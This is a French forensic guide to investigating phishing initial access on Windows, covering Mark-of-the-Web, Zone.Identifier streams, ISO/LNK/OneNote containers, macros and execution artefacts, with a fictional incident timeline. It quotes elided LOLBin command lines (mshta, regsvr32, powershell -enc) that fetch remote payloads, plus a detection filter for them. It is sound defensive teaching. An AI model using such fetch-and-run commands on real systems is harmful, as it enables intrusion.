Forensic du phishing : MotW, ISO, LNK et accès initial
Remonter un phishing de l'e-mail à la première exécution : fichiers temporaires Outlook, Zone.Identifier, contournement MotW par ISO et LNK, macros, LOLBins.
La plupart des intrusions commencent par un utilisateur qui ouvre quelque chose qu'il a reçu. Ce guide parcourt la chaîne depuis l'e-mail de phishing jusqu'au premier processus contrôlé par l'attaquant, pour identifier le mode de livraison, prouver que le fichier venait d'Internet, expliquer pourquoi les alertes de sécurité se sont déclenchées ou non, et dater la première exécution. Une chronologie fictive, à la fin, montre comment les pièces s'emboîtent.
La chaîne d'accès initial
Une chaîne typique compte quatre maillons, chacun laissant des traces différentes :
- Livraison : une pièce jointe dans un e-mail, ou un lien vers un téléchargement.
- Conteneur : ZIP, ISO, IMG, VHD, page de HTML smuggling ou fichier OneNote, souvent utilisé pour se débarrasser du Mark-of-the-Web.
- Déclencheur : un LNK, un script, un document à macros ou un exécutable que l'utilisateur ouvre.
- Exécution : un LOLBin ou une charge utile qui s'exécute, puis persistance et C2.
Remontez la chaîne dans les deux sens. Partez du processus suspect si une alerte vous a amené là, ou de l'e-mail si un utilisateur l'a signalé.
Livraison : e-mail et navigateur
Pièces jointes Outlook
Quand un utilisateur ouvre une pièce jointe directement depuis Outlook classique, Outlook en écrit une copie dans son dossier temporaire sécurisé :
%LOCALAPPDATA%\Microsoft\Windows\INetCache\Content.Outlook\<8 caractères aléatoires>\sur les versions actuelles.- Le chemin exact figure dans
HKCU\Software\Microsoft\Office\<version>\Outlook\Security\OutlookSecureTempFolder.
Les fichiers de ce dossier persistent souvent après la fermeture d'Outlook, et leur date de création correspond en pratique à l'heure d'ouverture. Si le même nom a été ouvert deux fois, vous verrez des suffixes comme (2). La boîte aux lettres elle-même (OST ou PST) conserve le message, les en-têtes et la pièce jointe ; voir Outlook PST et OST pour l'analyse. Le nouvel Outlook pour Windows utilise un autre modèle de stockage : ne supposez pas que ces chemins s'y appliquent.
Téléchargements du navigateur
Les liens des e-mails de phishing mènent à des téléchargements enregistrés dans l'historique du navigateur (table downloads du fichier History de Chromium, places.sqlite pour Firefox), avec l'URL source, le référent, le chemin cible et les heures de début et de fin. Voir artefacts des navigateurs et forensic des navigateurs Windows. Pour les utilisateurs de webmail (Outlook sur le web, Gmail), les pièces jointes transitent par le navigateur : c'est donc là qu'apparaissent leurs téléchargements.
Si le leurre est une pièce jointe Office ou PDF protégée par mot de passe, Hash Extractor la transforme en hash hashcat ou John dans le navigateur, pour tester le mot de passe cité dans le corps du message sans envoyer le fichier.
Mark-of-the-Web et Zone.Identifier
Les navigateurs et de nombreux clients de messagerie marquent les fichiers téléchargés avec un flux de données alternatif Zone.Identifier. C'est le Mark-of-the-Web, que Windows, SmartScreen et Office utilisent pour décider du niveau de confiance à accorder à un fichier.
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://mail.example.net/
HostUrl=https://files.example.org/invoice_4471.zip
- ZoneId : 3 pour Internet, 4 pour Restricted, 2 pour Trusted, 1 pour Intranet, 0 pour Local.
- HostUrl : l'URL d'où vient le fichier. ReferrerUrl : la page qui y renvoyait. Les navigateurs basés sur Chromium écrivent les deux ; d'autres applications n'écrivent parfois que
ZoneId. - Pour les fichiers issus de HTML smuggling,
HostUrlpeut valoirabout:internetou une URLblob:, et le référent peut pointer vers le fichier HTML local. Ce schéma est en lui-même un indicateur fort.
# Lire le flux sur un système vivant
Get-Content -Path .\invoice_4471.zip -Stream Zone.Identifier
# Trouver tous les fichiers dotés d'un Zone.Identifier dans le profil utilisateur
Get-ChildItem C:\Users\jdoe -Recurse -File -ErrorAction SilentlyContinue |
ForEach-Object { Get-Item $_.FullName -Stream Zone.Identifier -ErrorAction SilentlyContinue } |
Select-Object FileName, Length
Sur une image disque, analysez la $MFT : MFTECmd signale les noms d'ADS et peut extraire le contenu des petits Zone.Identifier résidents. L'événement 15 de Sysmon (FileCreateStreamHash) capture le contenu du flux à sa création, HostUrl compris, ce qui survit même à la suppression du fichier. La fiche Zone.Identifier donne la liste complète des champs.
Conteneurs et contournement du MotW
Les attaquants emballent leurs charges dans des conteneurs pour que le fichier finalement ouvert par l'utilisateur n'ait pas de MotW, donc ni contrôle SmartScreen ni blocage des macros Office.
ISO, IMG et VHD
Un double-clic sur un ISO, IMG, VHD ou VHDX le monte sous une lettre de lecteur. Avant les mises à jour Microsoft de novembre 2022, les fichiers d'un ISO monté n'héritaient pas du MotW. Les systèmes patchés le propagent pour ISO/IMG, mais le comportement sur les anciennes builds et pour les autres formats doit être vérifié plutôt que supposé.
Traces du montage :
- Événements
Microsoft-Windows-VHDMP-Operationalsignalant qu'un disque virtuel a été monté puis retiré, avec le chemin de l'image (les event IDs varient selon la build ; lisez le message). HKLM\SYSTEM\MountedDevicespour la nouvelle lettre de lecteur, etMountPoints2dans le NTUSER.DAT de l'utilisateur pour le volume qu'il a ouvert.- Fichiers LNK et Jump Lists pointant vers
E:\ouF:\avec un type de lecteur CD-ROM, le nom et le numéro de série du volume de l'image. - ShellBags du lecteur parcouru.
La fiche images disque montées détaille ces clés.
Archives
L'extraction ZIP intégrée à Windows propage le MotW aux fichiers extraits. Les outils tiers varient selon le produit et la version : 7-Zip ne le propage que si l'option est activée (disponible depuis la version 22), et d'autres outils ont changé de comportement au fil du temps. Plusieurs contournements du MotW ont été corrigés ces dernières années (par exemple des ZIP forgés ou des signatures détournant SmartScreen) : notez la build Windows et la version de l'outil avant d'affirmer qu'un contournement a eu lieu.
HTML smuggling
Une pièce jointe HTML transporte la charge sous forme de données encodées et utilise JavaScript pour reconstruire un fichier dans le navigateur, qui le « télécharge » ensuite en local. Traces : le fichier HTML dans le dossier temporaire d'Outlook ou dans Downloads, une entrée de téléchargement du navigateur avec une source blob: ou data, et le Zone.Identifier du fichier obtenu. Aucune requête réseau pour la charge n'apparaît dans les journaux proxy, et c'est tout l'intérêt de la technique.
Pièces jointes OneNote
Les fichiers .one peuvent embarquer des fichiers derrière un faux bouton. Au clic, OneNote écrit le fichier embarqué dans un dossier temporaire et l'exécute. Cherchez sous %LOCALAPPDATA%\Temp\OneNote\<version>\Exported\{GUID}\NT\0\ et dans le cache OneNote. Microsoft a ajouté en 2023 le blocage des types de fichiers embarqués dangereux : sur les builds actuelles, ce vecteur est nettement moins efficace.
Déclencheurs : LNK, scripts et macros
Fichiers LNK
Un raccourci dans un ISO ou un ZIP est aujourd'hui le déclencheur le plus courant. Sa cible est un LOLBin, pas un document :
C:\Windows\System32\mshta.exe https://.../payload.htaC:\Windows\System32\rundll32.exe payload.dat,DllRegisterServerC:\Windows\System32\regsvr32.exe /s /i:https://... scrobj.dllcmd.exe /coupowershell.exe -w hidden -enc ...
Analysez le LNK avec LECmd. Au-delà de la ligne de commande, il contient des métadonnées de la machine de fabrication de l'attaquant : nom NetBIOS, adresse MAC dans le bloc tracker, numéro de série de volume et horodatages. Ce sont des pivots d'une campagne à l'autre.
# Analyser un LNK suspect et tous les LNK d'une image montée
LECmd.exe -f "E:\Invoice.lnk" --json C:\cases\out
LECmd.exe -d "E:\" --csv C:\cases\out --csvf image_lnk.csv
Macros Office et trust records
Sur les versions prises en charge, Office bloque par défaut les macros VBA des fichiers portant un MotW Internet (déploiement à partir de 2022). C'est pour cela que les attaquants sont passés aux conteneurs : sans MotW, l'ancienne invite « Activer le contenu » revient.
Si l'utilisateur a cliqué sur « Activer le contenu », Office écrit un trust record sous HKCU\Software\Microsoft\Office\<version>\<Application>\Security\Trusted Documents\TrustRecords, indexé par le chemin du document. Des données se terminant par FF FF FF 7F sont largement associées à l'activation des macros. La fiche MRU Office et trust records détaille l'analyse. Cherchez ensuite WINWORD.EXE ou EXCEL.EXE lançant cmd.exe, powershell.exe, mshta.exe ou rundll32.exe.
SmartScreen et Defender
- SmartScreen contrôle les fichiers portant un MotW lancés depuis l'Explorateur. Sa journalisation (
Microsoft-Windows-SmartScreen/Debug) est désactivée par défaut : l'absence d'événements ne signifie pas grand-chose. Cherchez plutôt la décision de l'utilisateur dans la chronologie : une invite suivie d'une exécution. - Windows Defender : les 1116/1117 (détection, action) de
Microsoft-Windows-Windows Defender/Operationalet les fichiers MPLog sousC:\ProgramData\Microsoft\Windows Defender\Support\mentionnent souvent le chemin du conteneur ou de la charge, même quand rien n'a été bloqué.
Prouver l'exécution
Une fois la charge identifiée, prouvez qu'elle s'est exécutée, et quand. Le guide des preuves d'exécution couvre chaque artefact en détail.
| Artefact | Ce qu'il apporte | Remarques |
|---|---|---|
| Prefetch | Nombre d'exécutions, 8 dernières dates, fichiers chargés | Montre MSHTA.EXE chargeant un chemin du lecteur monté |
| Amcache | Chemin, SHA1, horodatages de première apparition | Survit à la suppression de la charge |
| Security 4688 | Processus, parent, ligne de commande | Nécessite l'audit Process Creation et la journalisation de la ligne de commande |
| Sysmon 1 / 11 / 15 | Processus, création de fichiers, contenu des ADS | La chaîne de parents explorer.exe vers mshta.exe est la signature du LNK |
| PowerShell 4104 | Contenu des blocs de script | Second étage décodé |
| UserAssist, RecentDocs | Interaction de l'utilisateur | Prouve que l'utilisateur a ouvert le conteneur |
# Office, Explorer ou OneNote lançant des LOLBins (Sysmon)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
Where-Object { $_.Message -match 'ParentImage:.*\\(WINWORD|EXCEL|ONENOTE|explorer)\.exe' -and
$_.Message -match 'Image:.*\\(mshta|rundll32|regsvr32|wscript|cscript|powershell)\.exe' } |
Select-Object TimeCreated, Message
Chronologie commentée (fictive)
Tous les noms et adresses ci-dessous sont inventés ; les IP utilisent la plage de documentation 203.0.113.0/24.
| Heure (UTC) | Trace | Interprétation |
|---|---|---|
| 08:41:12 | OST : message de billing@invoices-example.net, pièce jointe Invoice_4471.zip | Livraison |
| 08:43:05 | downloads de Chromium : Invoice_4471.zip enregistré dans Downloads, HostUrl sur 203.0.113.24 | Téléchargement via lien, MotW ZoneId=3 |
| 08:43:20 | Extraction ZIP par l'Explorateur : Invoice_4471.iso avec Zone.Identifier | MotW propagé à l'ISO |
| 08:43:31 | Événement VHDMP, nouveau volume F: (nom INVOICE) | ISO monté par double-clic |
| 08:43:38 | LNK F:\Invoice.lnk dans RecentDocs et la Jump List, type de lecteur CD-ROM | L'utilisateur a ouvert le raccourci |
| 08:43:39 | Sysmon 1 : explorer.exe vers mshta.exe https://203.0.113.24/i.hta | Déclenchement par LOLBin |
| 08:43:41 | Dernière exécution Prefetch de MSHTA.EXE ; Sysmon 3 vers 203.0.113.24:443 | Exécution confirmée |
| 08:43:47 | PowerShell 4104 : téléchargement puis rundll32 de C:\Users\Public\up.dat | Second étage |
| 08:44:02 | Entrée Amcache pour le loader up.dat ; Sysmon 3 vers 203.0.113.77:443 | C2 établi |
La chronologie se lit clairement parce que chaque étape repose sur deux sources indépendantes. S'il en manque une, dites-le au lieu de combler le trou.
Correspondance MITRE ATT&CK
- T1566 Phishing :
.001pièce jointe,.002lien. - T1204 User Execution :
.002fichier malveillant. - T1553.005 Subvert Trust Controls : Mark-of-the-Web Bypass.
- L'exécution par LOLBin qui suit relève en général des sous-techniques de T1218 (mshta, rundll32, regsvr32).
Pièges
- S'attendre à un MotW sur chaque fichier téléchargé. Cela dépend de l'application, du système de fichiers et de la propagation par l'outil d'extraction. Un flux absent est un constat à expliquer, pas la preuve d'une origine locale.
- Affirmer un contournement sans la build. Le comportement des ISO, des ZIP et de SmartScreen a changé au fil des correctifs. Notez la build de l'OS et les versions des outils.
- Lire les horodatages du LNK comme une activité de la victime. Les horodatages de cible embarqués dans un LNK livré viennent de la machine de l'attaquant. Ce sont les horodatages $MFT du fichier LNK sur la machine de la victime qui disent quand il est arrivé.
- S'arrêter au premier processus. Le dropper se supprime souvent lui-même. Amcache, Prefetch et Sysmon 11 gardent des traces du second étage.
- Ignorer la boîte aux lettres. Les en-têtes, les autres destinataires et le même hash de pièce jointe dans d'autres boîtes définissent le vrai périmètre.
- Rater le montage. Sans l'événement VHDMP, MountedDevices ou le type de lecteur du LNK, impossible d'expliquer pourquoi les fichiers de
F:n'avaient pas de MotW.
Checklist de l'accès initial
- Identifiez l'e-mail ou le téléchargement : message, en-têtes, destinataires, hash de la pièce jointe, URL.
- Récupérez le fichier livré dans l'OST/PST, le dossier temporaire d'Outlook, Downloads ou le cache du navigateur.
- Lisez le Zone.Identifier du fichier livré et de tout ce qui en a été extrait ; notez HostUrl et ReferrerUrl.
- Identifiez les conteneurs : montages ISO/IMG/VHD, archives et outil utilisé, HTML smuggling, exports OneNote.
- Analysez les LNK déclencheurs avec LECmd et relevez les métadonnées de la machine de l'attaquant.
- Vérifiez les trust records, le contexte SmartScreen et les journaux Defender.
- Prouvez l'exécution avec Prefetch, Amcache, 4688, Sysmon 1/11/15 et PowerShell 4104.
- Construisez la chronologie avec deux sources par étape, rattachez-la à T1566/T1204/T1553.005, puis recherchez hashes, URL et métadonnées LNK sur tout le parc.
Domaine 04
Preuves d'exécution
Les fiches artefacts derrière ce guide : emplacement selon la version de Windows, ce que prouve chacun et les outils pour l'analyser.